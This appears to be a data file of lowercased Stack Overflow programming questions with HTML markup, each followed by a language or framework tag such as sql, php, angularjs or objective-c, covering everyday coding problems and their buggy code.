javascript getboundingclientrect() values are wrong for dynamically added elements  not able to find an answer on wide web so posting the question here.     <strong>what i am trying to achieve:</strong>     when the user scrolls to the very bottom of the page get the latest dynamically loaded element s bottom value and use it to find out if it is time to load another one.    the math is simple:   <pre><code>if (element.getboundingclientrect().bottom &lt;= window.innerheight)    loadanotherelement(); </code></pre>  <blockquote>    window.innerheight is 955px  </blockquote>   <strong>the problem:</strong>    on initial load the the first element s bottom value is <code>905px</code> which is fine and trigger the function to load another one  but after the second one is loaded in the bottom value is <code>1389px</code> which will never trigger the <code>loadanotherelement</code> function.    i am not able to post full code as it is too complicated so hope the above will be enough to understand.    <strong>edit</strong>    managed to create a proper <a href= https://jsfiddle.net/ebmkhjkg/2/  rel= nofollow >test case</a>,javascript
parse url to search pattern  i need to read url content and search/regex for a pattern. e.g. in corrupt_files.jsp  i need to search for any keyword  auction_log.date  (where date is yesterday)     how can i achieve it     below is what i got so far:   <pre><code>from urllib import urlopen import re import time import datetime from datetime import date  timedelta yesterday = date.today() - timedelta(1)  date= yesterday.strftime( %y-%m-%d )  html = urlopen( http://url.com/corrupt_files.jsp ).read()  for line in html.split( &lt;tr ):   re.search( auction_log.date  line) </code></pre>,python
using spaces in the name attribute of an html tag  my validation script i have written takes the name attribute from an input tag and puts it in an alert if that input is required and not filled out. ex:   <pre><code>&lt;input type= text  name= daterequested  class= required  /&gt; </code></pre>   so if this wasnt filled out by the user  they would see an alert saying  daterequested  is a required field.  having no space looks ugly  so  simply  i would like to know if it is possible to have a space in the name attribute....ex: name= date requested .  and if this is possible  is it bad practice,html
create password protected excel file using closedxml library  i am new in c# asp.net and i tried to create xls file using third party library  closedxml . now i also want to protect the xls file with password how i can achieve this.    your help would be appreciable. thanks in advance ashish,.net
format ‘%d’ expects argument of type ‘int’  but argument 2 has type ‘int *’  each time i submit a program on hackerrank the following error occurs.    <pre><code>solution.c: in function ‘main’: solution.c:22:14: warning: format ‘%d’ expects argument of type ‘int’  but argument 2 has type ‘int *’ [-wformat=]  printf( %d   &amp;sum); </code></pre>   it would be very helpful if someone could tell me what this means,c
how can i get fragment links to work in a page with a <base href=  >   this seems like a very basic html question  but i cannot find an answer here or elsewhere that actually works.    what i want to do is jump to an id link on the same document <i>without reloading</i> the document.     here s my setup.  the document is <code>http://www.example.com/mydocument.htm/</code>.   <pre><code>&lt;head&gt;     .     &lt;base href= http://www.example.com &gt;     .     . &lt;/head&gt;  &lt;body&gt;     &lt;!-- jump from ... --&gt;     &lt;div&gt;         jump to &lt;a href= #myid &gt;here&lt;/a&gt;.     &lt;/div&gt;       &lt;!-- jump to ... --&gt;     &lt;div id= myid &gt;         &lt;do stuff&gt;         &lt;do more stuff&gt;     &lt;/div&gt;  &lt;/body&gt; </code></pre>   this syntax  according to everything i have read on this site and elsewhere  is supposed to result in a jump within the current document without a page reload.    doesn t work. my browsers (firefox  chrome) automatically stick the base href in front of the bookmark  viz:  <code>http://www.example.com/#myid</code>  which opens my home page.      not what i want.      if i change the href from  #myid  to <code>/mydocument.htm#myid</code>  then the jump completes  but the page reloads.  ditto if i use the absolute address: <code>http://www.example.com/mydocument.htm/#myid</code>.    i m stuck.  any guidance,html
how long will android take to give a latitude and longitude value of current location  hi friends im trying to take latitude and longitude value of current location.iam moving to point a to point b.after reaching point b i start application more than 3times i got 3 diffrent lat and lang.after 3 rd time its giving the same lat and lang.,android
angular.js active nav elements  i trying change the colour of the links getting the path  it is working but not the way i want.    what is happening now is this:    i am in <code>http://localhost:8000/projects.html</code> right fine     if i click in the next link like home goes to: <code>http://localhost:8000/projects.html#/index.html</code>    i want this link goes to : <code>http://localhost:8000/index.html</code> instead of <code>http://localhost:8000/projects.html#/index.html</code>    understanding what i saying  how can i fix this  thank you.    <strong>app.js</strong>   <pre><code>app.controller( navctrl   [ $scope    $location   function($scope  $location) {     $scope.items = [       {path:  /index.html   title:  home }        {path:  /projects.html   title:  projects }        {path:  /contributions.html   title:  contributions }      ];     $scope.isactive = function(item) {       if (item.path == $location.path()) {         return true;       }       return false;     };   }])   .controller( myctrl1   [function() {   }])   .controller( myctrl2   [function() {   }]); </code></pre>   html:   <pre><code>&lt;div id= navbar  class= navbar-collapse collapse &gt;       &lt;ul class= nav navbar-nav  ng-controller= navctrl &gt;         &lt;li ng-repeat= item in items  ng-class= {active: isactive(item)} &gt;           &lt;a href= #{{item.path}} &gt;{{item.title}}&lt;/a&gt;         &lt;/li&gt;       &lt;/ul&gt; &lt;/div&gt; </code></pre>,angularjs
which are the most informative .net screencasts watched by you   i have learned so much from <a href= http://www.summerofnhibernate.com/  rel= nofollow noreferrer >http://www.summerofnhibernate.com/</a> nhibernate screen casts that i wonder why they are given as free!. did you know about other such .net screen casts,.net
website not running when given in lowercase  i am having a website with the url.     [http://192.168.13.127/reportwebsite/login.aspx]  which works fine.  if i give the url in smaller case the page is refreshing and not loading    [http://192.168.13.127/reportwebsite/login.aspx]  what am i doing wrong.,asp.net
css: i get a darker semitransparent background in ie9. why   i m testing semitransparent backgrounds with rounded corners here (css are inside html):    <a href= http://www.lucagiorcelli.it/test/milanificio_boxes/  rel= nofollow >http://www.lucagiorcelli.it/test/milanificio_boxes/</a>    they are fine in ie10 (see screenshot: <a href= http://o7.no/ksvx2b  rel= nofollow >http://o7.no/ksvx2b</a>). but they are darker in ie9  with ghosts on corners (see screenshot: <a href= http://o7.no/ksw9p2  rel= nofollow >http://o7.no/ksw9p2</a>).    what s wrong in my css    <pre><code>.yellowalpha35 { /* fallback for web browsers that doesn t support rgba */ background: rgb(245  221  183); filter:alpha(opacity=35); /* rgba with 0.6 opacity */ background: rgba(241  144  28  0.35); /* for ie 5.5 - 7*/ filter:progid:dximagetransform.microsoft.gradient(startcolorstr=#23000000  endcolorstr=#23000000); /* for ie 8*/ -ms-filter:  progid:dximagetransform.microsoft.gradient(startcolorstr=#23000000  endcolorstr=#23000000) ; } </code></pre>,css
using the tableview as horizontal scroll and animating the views and also animating the text like marquee <pre><code>//to drag the image view on the iphone screen  - (void) touchesmoved:(nsset *)touches withevent:(uievent *)event {      uitouch *touch = [[event alltouches] anyobject];     point0 = [touch locationinview:self.view];     if ([touch tapcount] == 2) {         dropdownbool = no;         pushupbool = no;         self.imageview.alpha = 0.4;         doublepressed = yes;     }      if(doublepressed)     {     point0 = [touch locationinview:self.view];      if (cgrectcontainspoint([self.imageview frame]  [touch locationinview:[touch view]]))      {         self.imageview.center = [touch locationinview:nil];     }      }  }  - (void) touchesended:(nsset *)touches withevent:(uievent *)event  { uitouch *touch = [[event alltouches] anyobject]; point0 = [touch locationinview:self.imageview];  if(doublepressed) { uitouch *touch = [[event alltouches] anyobject]; point0 = [touch locationinview:self.imageview]; //animating the view...  [uiview beginanimations:nil context:null]; [uiview setanimationduration:0.5]; cgaffinetransform transform =cgaffinetransformtranslate(cgaffinetransformidentity 0.0f  0.0f); self.imageview.transform = transform; [uiview commitanimations]; doublepressed = no; self.imageview.alpha = 1.0; } }  // to drop down a view as you swipe on top of the screen  -(void)handleswipegesture:(uiswipegesturerecognizer *) sender  {     //gesture detect - swipe up/down   can be recognized direction     if(sender.direction == uiswipegesturerecognizerdirectionup)     {         pushupbool = yes;     }     else         if(sender.direction == uiswipegesturerecognizerdirectiondown)         {             dropdownbool = yes;         }      if(dropdownbool &amp;&amp; (point0.y &lt; 80.0f))     {         nslog(@ %f  point0.y);         [uiview beginanimations:nil context:null];         [uiview setanimationduration:0.25];         self.dropdownview.center = cgpointmake(originalcenter.x 30.0 );         self.dropdownview.alpha = 0.8;         dropdownbool = no;     }     if(pushupbool &amp;&amp; (point0.y &lt; 80.0f))     {         [uiview beginanimations:nil context:null];         [uiview setanimationduration:0.25];         pushupbool = no;         self.dropdownview.center = originalcenter;         self.dropdownview.alpha = 0.0;     } }   // animates from left to right like marqee... -(void) scrollleft {  cabasicanimation *scrolltext; scrolltext=[cabasicanimation animationwithkeypath:@ position.x ]; scrolltext.duration = 6.0; scrolltext.repeatcount = 10000; scrolltext.autoreverses = no; scrolltext.fromvalue = [nsnumber numberwithfloat:500]; scrolltext.tovalue = [nsnumber numberwithfloat:-120.0]; [[self.detailview layer] addanimation:scrolltext forkey:@ scrolltextkey ]; }  // making the table view scroll horizontally place this code in viewdidload.  cgaffinetransform transform = cgaffinetransformmakerotation(-1.5707963);     self.horizontaltableview.transform = transform;   // now in tableview method transform the cell back. - (void)tableview:(uitableview *)tableview willdisplaycell:(uitableviewcell *)cell forrowatindexpath:(nsindexpath *)indexpath  { cgaffinetransform transform = cgaffinetransformmakerotation(1.5707963); cell.transform = transform; } </code></pre>   using the above methods one can transform the table view look like a horizontal scroll view. and you can drag the image view by double clicking on the image and moving it across the screen. if you have any question please feel free.,objective-c
sorting android songs  new android developer here; well versed in java. i m looking to create a playlist maker and am having trouble sorting my media. i m following a <a href= http://www.helloandroid.com/tutorials/musicdroid-audio-player-part-i  rel= nofollow >tutorial</a> but it does not cover how to sort the media by artist. i d like to have a listview of the artists and if you click an artist it expands down to show the albums by that artist  and then if you click an album it expands down to show the songs in that album. keeping future capabilities in mind  i d like to be able to drag and drop albums/songs.    i appreciate any help you have to offer.,android
need help in inputting string and long using scanner  i am inputting two long numbers and then two strings. but it is taking only one string. why    <pre><code>long n m; string s1 s2; scanner s=new scanner(system.in); n=s.nextlong(); m=s.nextlong(); s1=s.nextline(); s2=s.nextline(); system.out.println(s1+      +s2); </code></pre>   what should i do to stop <code>nextlong()</code> taking <code>\n</code>     <strong>edit</strong> problem not solved   <pre><code>            scanner s=new scanner(system.in);         n=s.nextlong();         m=s.nextlong();         s.nextline();         s1=s.nextline();         s2=s.nextline();         system.out.println( s1: + \ns2: +s2); </code></pre>   output   <pre><code>s1: s2:asas </code></pre>,java
why can t download the web page into my target   the code was saved as  /tmp/down.php  in my local pc.   <pre><code>&lt; php  function downfile($fileurl)     {      ob_start();       $filename=$fileurl;      header(  content-type:  application/octet-stream  );       header(  accept-ranges:  bytes  );       header(  content-disposition:  attachment;  filename=  /tmp/test  );       $size=readfile($filename);       header(  accept-length:   .$size);      }  $url= http://www.yahoo.com ; downfile($url);  &gt;  </code></pre>   why the yahoo web page was not saved as in /tmp/test but displayed in the screen when to execute  php /tmp/down.php,php
mysql- fetch one record per minute  i have records as per attached image. the last column has date and time of latitude and longitude recieved. now i want to select one record per minute from the below data from date column. is there any mysql query to perform the operation      <a href= http://i.imgur.com/z9i4u3x.png  rel= nofollow >http://i.imgur.com/z9i4u3x.png</a>,mysql
html page size standard  what is the standard width of an html page today  i know it changed from 10 years ago when people had different monitors  etc. what is it as of 2009     thanks!,html
keyvaluepair is nothing  how can we verify (.net 2) if a <code>keyvaluepair</code> has a value assigned or not    <pre><code>dim pair as keyvaluepair(of a  b) = nothing  if pair.    then return </code></pre>   as is it a structure  it <strong>can t</strong> be verified with <code>pair is nothing</code>.     <strong>point</strong> structure  by eg. has a <strong><code>p.isempty</code></strong> verification.,.net
why must one use __iter__() method in classes   what exactly is the role of <strong>iter</strong>  consider the following code block:   <pre><code>class reverse:     def __init__(self data):         self.data = data         self.index = len(data)     def __iter__(self):         return self     def next(self):         if self.index == 0:             raise stopiteration         self.index = self.index - 1         return self.data[self.index] </code></pre>   omitting <strong>iter</strong>(self) and rewritting:   <pre><code>class reverse2:     def __init__(self data):         self.data = data         self.index = len(data)     def next(self):         if self.index == 0:             raise stopiteration         self.index = self.index - 1         return self.data[self.index] </code></pre>   then:   <pre><code>x = [1 2 3] y = reverse(x) z = reverse2(x) y.next() &gt;&gt;&gt; 3 y.next() &gt;&gt;&gt; 2 y.next() &gt;&gt;&gt; 1 z.next() &gt;&gt;&gt; 3 z.next() &gt;&gt;&gt; 2 z.next() &gt;&gt;&gt; 1 </code></pre>   the classes behave the same way regardless of whether i include <strong>iter</strong>() or not  so why should i include it in the first place  i m sorry if my question isn t clear--i simply don t know how to state it in a more clear way...,python
can t add system.media.imaging even after adding presentationcore and windowsbase  i ve just installed c# visual express 2010.    the project is created under console application.    any ideas  thanks.    i m trying to copy a range in excel and save it as a image file.   <hr>   i have both presentationcore and windowsbase in my references. but i m still getting this error.     error  1   the type or namespace name  imaging  does not exist in the namespace  system.media  (are you missing an assembly reference )    <hr>   target framwork is .net framework 3.5. it s still not working.,c#
select inputs that doesn t have value attribute with queryselector  i m using:   <pre><code>document.queryselectorall( input[value=  ] ) </code></pre>   but it s not selecting inputs that doesn t have the attribute <code>value</code>.<br> how can i select all inputs that doesn t have a value <code>  </code>  and that doesn t have the attribute value <br><br> i would like to do that without jquery and without any additional function  would that be possible only using <code>queryselectorall</code>,javascript
sql add more than 1 row with specific values  i have a table monthlytransaction which contains 2 columns: paycode and amount. each paycode has an amount for a specific id in another table. i want to add 2 specific amounts of paycodes 100 and 105 for the same id. i also need them in the same row and don t want extra rows for each value.    here is the query i wrote. the output is always 2 rows and if i delete the <code>where</code> statement it will be more than 2 rows and will get all the paycodes for this specific id.   <pre><code>select     empassignment.employeeid      profile.name      positions.positionname      nations.nationname      case         when(monthlytransaction.paycode=100) then monthlytransaction.amount     end as basicsalary      case         when(monthlytransaction.paycode=105) then monthlytransaction.amount     end as houseallowance --(basicsalary+houseallowance) as totalamount from     empassignment  left join profile on profile.profileid = empassignment.empid left join positions on positions.positionno = empassignment.empid left join nations on nations.nationid = empassignment.empid left join monthlytransaction on monthlytransaction.empid = empassignment.empid left join paycode on paycode.code = monthlytransaction.paycode where     empassignment.employeeid=102 and     (         monthlytransaction.paycode = 105 or         monthlytransaction.paycode = 100     ) group by     empassignment.employeeid      profile.name      positions.positionname      nations.nationname      monthlytransaction.paycode      monthlytransaction.amount order by     employeeid asc </code></pre>,sql
ng-bind filter value from another list of hashes <pre><code>$scope.myid =  1 ; $scope.all = [{id:  1   name:  one }                {id:  2   name:  two }                {id:  3   name:  three }]; </code></pre>   for display purposes  i would like to display the name of the selected id. the following only displays <code>[object object]</code>:   <pre><code>&lt;span ng-bind= all | filter: {id: myid} &gt;&lt;span&gt; </code></pre>   it also gives digest warnings:   <pre><code>10 $digest() iterations reached. aborting! </code></pre>   how can i bind my selected id  but display its name instead,angularjs
sql statement that subs 0 for no results  i am having an issue getting the results i want from my sql statement. i know i m probably missing something simple but i just can t see it.    here are my tables.<br>   <pre><b>table: users</b> <i>(roleid is linked to id in roles table)</i> <b>id</b>    <b>firstname</b>    <b>lastname</b>    <b>roleid</b>  1     matt         ryan        1 2     chipper      jones       1 3     julio        jones       2 4     jason        bourn       3  <b>table: roles</b> <b>id</b>     <b>name</b> 1      field rep 2      tech 3      admin  <b>table: frrequests</b> <i>(userid is linked to id in users table)</i>  <b>id</b>    <b>userid</b>     <b>status</b> 1     1          open 2     1          submitted 3     1          delayed 4     1          complete </pre>   what i want is an sql statement that shows me a count of all the  submitted  &amp;  delayed  requests for all the field reps. below is an example of desired results.   <pre> <b>name</b>             <b>count</b> chipper jones    0 matt ryan        2 </pre>   here is the statement i have so far and the results it gives me.   <pre> select users.firstname +     + users.lastname as name  count(frrequests.id) as  open requests  from users inner join           roles on users.roleid = roles.id left outer join           frrequests on users.id = frrequests.userid where (roles.name = n field rep ) and (frrequests.status =  submitted  or frrequests.status =  delayed ) group by users.firstname  users.lastname  <b>name</b>             <b>count</b> matt ryan        2  </pre>   i know that the  and (frrequests.status =  submitted  or frrequests.status =  delayed )  part is what is breaking it. if i run it without that in the statement i get all the users but it counts all status not just submitted and delayed. i just can t figure out what i m missing to get this to work. any help would be greatly appreciated.,sql
how to use ng-if   i have this value:   <pre><code>vm.data  </code></pre>   i need to check if the value above not null using <strong>ng-if</strong>.    if value is not null i want to display data if null i want to display  empty :   <pre><code>&lt;span ng-if= vm.data != null &gt;{{vm.data}}&lt;/span&gt; &lt;span ng-if= vm.data == null &gt;empty&lt;/span&gt; </code></pre>   are the two rows above correct  or i can implement it another way,angularjs
i have 3 columns [a  b  c] in my sql table. i want to find table entries  where values in a is same  in b is same  but c is different  i have 3 columns [a  b  c] in my sql table. i want to find table entries  where values in a is same  in b is same  but c is different.    <pre><code>a  b  c 1  2  3 4  5  6 *3  4  5* *3  4  6* *7  8  9* 6  1  2 *7  8  3* </code></pre>   i want to preferably get something like:   <pre><code>a  b  c 3  4  5 3  4  6 7  8  9 7  8  3 </code></pre>   as my result. thanks :),sql
java.lang.indexoutofboundsexception while removing from arraylist   i am trying to remove an object from an arraylist  my code is   <pre><code>arraylist myarraylist=new arraylist();  for(int index=0;index&lt;20;index++){     myarraylist.add(index); }  for(int removeindex=0;removeindex&lt;=marraylist;removeindex++){         myarraylist.remove(removeindex); } </code></pre>   it is giving a <code>java.lang.indexoutofboundsexception</code>. how do i remove a number of objects from <code>arraylist</code> .,java
failed to load resource in chrome google.maps api  i have this error in chrome console:   <pre><code>failed to load resource: net::err_blocked_by_client  https://maps.google.com/maps-api-v3/api/js/22/2/intl/es_all/adsense.js </code></pre>   anyone knows why i have this problem,javascript
float left query not covered by parent  following html block:   <pre><code>&lt;html&gt; &lt;body&gt;     &lt;div style= background-color: #fecfff; &gt;         &lt;div style= float:left; &gt;             &lt;div style= height:40px; width:40px; background-color:red &gt; &lt;/div&gt;             karl mac         &lt;/div&gt;          &lt;div&gt;             some comments details&lt;br /&gt;             &lt;div style= padding-top: 10px &gt;                 links             &lt;/div&gt;     &lt;/div&gt; &lt;/body&gt; &lt;/html&gt; </code></pre>   produces following:    <img src= https://i.stack.imgur.com/4qmze.png  alt= enter image description here >    how can i have karl mac too covered with color of parent container in this 2 column layout  if i add  overflow:auto   it gets fixed in firefox and chrome. but issue persists in ie. thanks!,css
get all possible combination (preffix/suffix) of string  i am trying to write a function that will take lets say  hey there  then create an array of all prefix of this string. so it would return  h    he    hey    hey     hey t  etc etc.    then i would like the same function to create a second array of all suffixs (counting backwards down the string). so for the same string it would return  e    er    ere    ereh    ereht    ereht   etc    i am sturggling a bit to figure this one out but i have managed to get the following which gets all possible combinations of a string i just need to get it to do it only in order.   <pre><code>$str    =  hey there ;  function permute($str $i $n) {    if ($i == $n)        print  $str\n ;    else {         for ($j = $i; $j &lt; $n; $j++) {           swap($str $i $j);           permute($str  $i+1  $n);           swap($str $i $j); // backtrack.        }    } }  // function to swap the char at pos $i and $j of $str. function swap(&amp;$str $i $j) {     $temp = $str[$i];     $str[$i] = $str[$j];     $str[$j] = $temp; }     permute($str 0 strlen($str)); // call the function.  } </code></pre>   any help greatly appreciated.,php
setup bool property in model  customizing an ios app in objective-c. not super familiar with the language  and this simple task of setting up a boolean property has taken me too long.     can anybody offer some advice here     <strong>video.h</strong>   <pre><code>@property (nonatomic  retain) nsnumber * hascustomthumbnail; </code></pre>   <strong>video.m</strong>   <pre><code>@implementation video      @dynamic hascustomthumbnail; @end </code></pre>   <strong>otherfile</strong> referencing the video   <pre><code>// have tried these two an many other things... video.hascustomthumbnail = [nsnumber numberwithbool:no]; video.hascustomthumbnail = @no; </code></pre>   the error i get no matter how many dozens of ways i ve tried this is:   <pre><code> nsinvalidargumentexception   reason:  -[video sethascustomthumbnail:]: unrecognized selector sent to instance 0x60c0004925c0  </code></pre>   have tried many suggestions including this: <a href= https://stackoverflow.com/questions/4864239/using-a-bool-property >using a bool property</a>    i also know the video is referenced correctly because autocomplete suggests  hascustomthumbnail  as i start typing.    i simply cannot believe how hard obj-c is making this :-)    any suggestions,objective-c
in w7 and chrome / ff browsers  all the    shows as n_n  in w7 and chrome / ff browsers  all the    shows as n_n    all good in all browsers   but in windows 7 and other browsers like chrome this   will be changed into this n ...    any ideas       regards,html
how to get the mac_ip_address of iphone device present in setting>general>about/wi-fi address   i want to print the mac_ip_address of iphone device present in the setting>general>about/wi-fi address.    how can i get that address  please let me know if any one know.,iphone
pop3 mail encoding  i am trying to print an email into a file and all i m getting is this. how could i parse the message body into ascii    <pre> mime-version: 1.0 content-type: text/plain;      charset= utf-8  content-transfer-encoding: base64 x-spam-status: no  hits=0.2 required=5.0 tests=awl no_real_name autolearn=no      version=2.64 status:    dqpnzxnzywdlig1lzxrziefszxj0ignvbmrpdglvbg0kmjaxmc0woc0xmcaxntozodoxnibkzxzp y2vfawq9rkcxmdbbmzkwnzuwnzawocbsb2dfawq9mdewndazmjawnsb0exblpwv2zw50ihn1ynr5 cgu9ywrtaw4gchjppwfszxj0ihvzzxi9injvb3qiihvppvntscg0ms4ymzcumta2lji1mckgywn0 </pre>,c#
playing with pointer incrementation in c  i started playing a bit around in c when i found out that you can increment pointers.. so i thought  why not try to see if it s possible to clear my ram with this program:   <pre><code>#include &lt;stdio.h&gt;  int main() {     int number = 0;     int *pointer = &amp;number;     while (true) {         pointer++;         *pointer = 0;     }     return 0; } </code></pre>   is the reason why this doesn t work my operating system  or does the c language have exceptions for this     thanks in advance!,c
ng-option issues with select option  i have a form where i am using select option to dynamically populate the values to display the dropdown. but my code is not working.   <pre><code>mainapp is module  maincntlr is ciontroller  html code: `&lt;pre&gt; &lt;form class= form-group &gt;    &lt;label&gt; first band color: &lt;/label&gt;         &lt;select class= form-control  name=   id=   ng-model= selectedcolor  ng-options= color.name for color in colorcodes &gt;       &lt;/select&gt;    &lt;label&gt; second band color: &lt;/label&gt;         &lt;select class= form-control   name=   id=   ng-model= selectedcolor  ng-options= color.name for color in colorcodes &gt;         &lt;/select&gt;    &lt;label&gt; third band color: &lt;/label&gt;         &lt;select class= form-control  name=   id=   ng-model= selectedcolor  ng-options= color.id as color.name for color in colorcodes &gt;         &lt;/select&gt;    &lt;label&gt; fourth band color: &lt;/label&gt;         &lt;select class= form-control  name=   id=   ng-model= selectedcolor  ng-options= color.name for color in colorcodes &gt;         &lt;/select&gt; &lt;/form&gt; &lt;/pre&gt;`  script:      `&lt;script&gt;         var app = angular.module( mainapp  []);         app.controller( maincntlr  function($scope){             $scope.colorcodes =[                     { name :  black    id : 1}                      { name :  brown    id : 2}                      { name :  red    id : 3}                     ];         });      &lt;/script&gt;`     [1]: http://i.stack.imgur.com/lkunf.png </code></pre>   let me know where i have made mistake,angularjs
would you use a div tag or a span tag to make this and why   also  what would you use if it was an inline-block    <pre><code>&lt;div style= display:block; width: 300px; height: 24px;background-color:#e2ab58 &gt;&lt;/div&gt;  &lt;span style= display:block; width: 300px; height: 24px;background-color:#e2ab58 &gt;&lt;/span&gt; </code></pre>,html
mail server issue  i am integrating mail in my code. i used mail smtp.gmail.com as smtp server. i am trying to get delivery status of mail but i am getting bellow error   <blockquote>    no supported delivery status notification marshal found  </blockquote>   below is code what i am using.   <pre><code>smtpmail omail = new smtpmail( tryit ); smtpclient osmtp = new smtpclient();  // set sender email address  please change it to yours omail.from =  akshaz@tekinspirations.com ;  // set recipient email address  please change it to yours omail.to = to;  // set email subject omail.subject = subject;  // set email body omail.textbody = message;  // your smtp server address smtpserver oserver = new smtpserver( smtp.gmail.com );  // user and password for esmtp authentication  if your server doesn t require // user authentication  please remove the following codes. oserver.user =  xyz@tekinspirations.com ; oserver.password =  xyz ; // if your smtp server requires ssl connection  please add this line oserver.connecttype = smtpconnecttype.connectsslauto; // set 25 port  if your server uses 587 port  please change 25 to 587 oserver.port = 25; // set tls connection //oserver.connecttype = smtpconnecttype.connecttrytls; // request read receipt omail.readreceipt = true; omail.deliverynotification = deliverynotificationoptions.onfailure | deliverynotificationoptions.onsuccess; // request both failure and success report try {     // console.writeline( start to send email ... );     osmtp.sendmail(oserver  omail);      // console.writeline( email was sent successfully! ); } catch (exception ep) {     //console.writeline( failed to send email with the following error: );     // console.writeline(ep.message);     //sqlconnection con = new sqlconnection( data source=.; initial catalog=db_emailtest;integrated security=true; );     // con.open();     // sqlcommand cmd = new sqlcommand( update tbl_email set status=1 where emailid= + to  con);     //cmd.executenonquery();     string s = ep.message; } </code></pre>,.net
catch block variable warning in java  i try to get my code to compile with no errors and no warnings as standard practice.  there is one annoying warning  though  that i know how to deal with in .net but not in java.  say i have a code block like this:   <pre class= lang-java prettyprint-override ><code>    try {         fileinputstream in = new fileinputstream(filename);         return new scanner(in).usedelimiter( \\a ).next();     } catch (filenotfoundexception ex) {         log.log(level.severe   unable to load file: {0}   filename);         return null;     } </code></pre>   i get a warning that variable <code>ex</code> is not used.  now  i don t really have a use for <code>ex</code>  i don t want <code>ex</code>  but i don t know what to do about it.  in .net i could just do:   <pre class= lang-cs prettyprint-override ><code>catch (filenotfoundexception) </code></pre>   without the variable and it will compile and run with no error.      how would one handle this situation in java   i know i could make a local variable and set it to <code>ex</code>  but that seems like a silly and wasteful workaround to fix a warning that isn t really needed.,java
view show s error in list view  i have a prolblem with list view.i have placed a edittext in the listview to entering some data into the list of items in the list view.i have took data from the edittext row by row from the listview.\    i can see only 5 row in the listview and for next reows i need to scroll the list view.    the problem arise here i can took the data from the listview upto 5 rows from the view by means of which i took the valuse form the edittext in the list.    but when comes to the 6th row it shows null pointer exception that plced where it identify the edittext.(textview decatered_load = (textview) vlvtopup.findviewbyid(r.id.etconfirmdecaterednumber);) the point of error arise at here.   <pre><code>        for (int i = 0; i &lt; lvconfirmdecater.getadapter().getcount(); i++) {                  hashmap result = (hashmap) lvconfirmdecater.getitematposition(i);                 view vlvtopup;                 vlvtopup = lvconfirmdecater.getchildat(i);                  textview decatered_load = (textview) vlvtopup                         .findviewbyid(r.id.etconfirmdecaterednumber);                  textview decatered_reason = (textview) vlvtopup                         .findviewbyid(r.id.etconfirmdecateredreason);                  textview nondecatered_load = (textview) vlvtopup                         .findviewbyid(r.id.etconfirmnondecaterednumber); </code></pre>   so note this error i just increased the number of rows in the list that can view is upto 10 then i can took data from the edit text upto 10.after that it shows the error.    did anyone have an idea about this .why it didnt identfy the view,android
how to sort an array of arrays by a key in php  <pre><code>array(     [ car ] =&gt; array(                      [12/11/1989] =&gt; (...)                      [6/14/2011] =&gt; (...)                      [5/2/2012] =&gt; (...)                )     [ sled ] =&gt; array(                      [1/15/2001] =&gt; (...)                      [4/14/2004] =&gt; (...)                      [5/23/2005] =&gt; (...)                )     [ boat ] =&gt; array(                      [12/1/1999] =&gt; (...)                      [6/14/2000] =&gt; (...)                      [8/23/2000] =&gt; (...)                ) ) </code></pre>   given the above array structure  i am trying to sort the keys <code>[ boat ]  [ sled ]  [ car ]</code> by the first date key in their respective sub-arrays. so the correct key order would now be car  boat  sled. is there an elegant or easy way to do this with php,php
iphone simulator 4.0 home button does not stop xcode debugger  can any one help me      i run my application via xcode iphone simulator 4.0   now i want to stop my application  so when i click my iphone simulator home button it didnt stop the debugger . i dont know why      can anyone help me      the xcode debugger is still running   i didnt see such a problem in iphone os 3.0...    thanks in advance...,iphone
how to parse options without any argument using optparse module  how can i pass options without any argument and without passing any default argument     for example:   <pre><code>./log.py --ipv4  </code></pre>,python
find d square no.  <pre><code>int n=16;  for(i=0;i&lt;=n;i++) {   if(n/i==i) {     printf( its a square no );    }   else     printf( not a square no. ); </code></pre>   i want to print one statement neither else statement nor if statement.... but output getting not a prime 3 time and prime no one time again...    help me    output for n=16 and n=15,c
c# constructors and contexes  i am trying to create a console application that converts centimeters to meters here are my objectives   <ol> <li>store number of centimeters entered in an attribute</li> <li>use a default constructor to store zero in the attribute that stores the number of centimeters meters entered</li> <li>use a primary constructor to accept and store number of centimeters entered.</li> <li>a function call getmeters to return the number of meters</li> <li>a function called remainder to get the number of centimeter remanding after conversion</li> <li>a function called printout that will display the results </li> </ol>   the application should carry on accepting values for conversion until the user decides to end it.     what i have so far:   <pre><code>using system;  namespace conv {  public class centimeter {     public int cmvar;     public centimeter()     {         cmvar = 0;     } }  //primary const to be added   public class metertocenti {     public static void main()     {            char choice;            char n =  n ;             do            {            console.writeline( do you want to continue  (y/n) );            //choice = console.readline();            choice = console.readkey().keychar;            centimeter c = new centimeter();            console.writeline( enter value in centimeters );            c.cmvar = int.parse(console.readline());            printout();            }            while(choice.compareto(n) == 0);     }   public static void getmeterst()     {     int meters = c.cmvar / 100;     }   public static void remainder ()     {         int cmremain = c.cmvar % 100;     }   public static void printout()     {         console.writeline( {0} meters and {1} centimeters   meters  cmremain);     }  }   } </code></pre>   i am getting errors regarding:   <pre><code>    prog.cs(24 5): warning cs0168: the variable `meters  is declared but never used prog.cs(41 11): error cs0103: the name `c  does not exist in the current context prog.cs(41 2): error cs0103: the name `meters  does not exist in the current context prog.cs(47 24): error cs0103: the name `c  does not exist in the current context prog.cs(53 61): error cs0103: the name `meters  does not exist in the current context prog.cs(53 69): error cs0103: the name `cmremain  does not exist in the current contex </code></pre>   any help would be appreciated.,c#
nsinvalidargumentexception using va_start & va_end  including a c file in objective-c app with a method that uses:   <pre><code>va_start(args  format); vsnprintf(msg  sizeof(msg)  format  args); va_end(args); </code></pre>   compiles but generates   <pre><code>terminating app due to uncaught exception  nsinvalidargumentexception   reason:  -[nsurl utf8string]: unrecognized selector sent to instance </code></pre>   at   <pre><code>return uiapplicationmain(argc  argv  nil  nsstringfromclass([appdelegate class])); </code></pre>   if i don t   <pre><code>#include &lt;stdarg.h&gt; </code></pre>   then i get:   <pre><code>undefined symbols for architecture i386:    _va_end   referenced from:   :    _va_start   referenced from:   : </code></pre>   so it looks like the   <pre><code>#include &lt;stdarg.h&gt; </code></pre>   is causing the exception ! ! ! !    using xcode 4.5.2 on mac os x 10.7.5,objective-c
iphone sdk: dealloc vs. release   i am wondering what the difference is between release and dealloc  after reading  the memory management rules (see below).  i am thinking most of the time i will be using release.  however  i wanted to know what to do for properties.     @property(retain)....    i have been using dealloc but after reading this article i am not sure that is correct.    you take ownership of an object if you create it using a method whose name begins with “alloc” or “new” or contains “copy” (for example  alloc  newobject  or mutablecopy)  or if you send it a retain message. you are responsible for relinquishing ownership of objects you own using release or autorelease. any other time you receive an object  you must not release it.,iphone
